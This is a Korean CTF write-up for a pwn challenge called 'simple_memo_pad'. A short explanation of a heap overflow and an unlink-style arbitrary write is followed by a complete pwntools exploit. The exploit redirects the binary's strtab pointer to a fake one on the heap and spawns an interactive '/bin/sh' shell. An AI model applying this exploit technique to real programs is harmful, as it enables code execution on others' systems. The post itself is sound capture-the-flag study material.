728x90

Rnote4에 이어서 strtab을 덮는 문제를 풀어봤다!

 

Edit에서 heap overflow가 발생해서 fd와 bk를 쓸 수 있고 delete에서 bk+144에 fd를 넣고 fd+152에 bk를 넣는 구조가 있어서 원하는 주소에 값을 쓸 수 있다.

 

strtab을 가리키는 주소를 fake strtab을 구성한 heap주소로 바꿔주면 끝

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
 
= process("./simple_memo_pad")
elf = ELF("./simple_memo_pad")
 
def write_n(content):
    s.sendlineafter("> ","1")
    s.sendlineafter("Content: ",content)
 
def edit(index,content):
    s.sendlineafter("> ","2")
    s.sendlineafter("Index: ",str(index))
    s.sendlineafter("Content: ",content)
 
def delete(index):
    s.sendlineafter("> ","3")
    s.sendlineafter("Index: ",str(index))    
 
def show():
    s.sendlineafter("> ","4")
 
def quit():
    s.sendlineafter("> ","5")
 
 
write_n("A"*0x53+"system")
write_n("B"*128)
 
edit(3,"K"*128+p64(0x0000000000601850-144))
delete(3)
 
quit()
s.sendlineafter(":","/bin/sh\x00")
 
s.interactive()
cs

'PWN > CTF' 카테고리의 다른 글

[0CTF_2018] Babystack  (0) 2019.12.03
[CodeBlue_2017] Secret_mailer_service  (0) 2019.12.02
[RCTF_2018] Rnote4  (0) 2019.11.29
[SCTF_2018] cowboy  (0) 2019.11.27
[BSidesSF_2019] runitplusplus  (0) 2019.11.17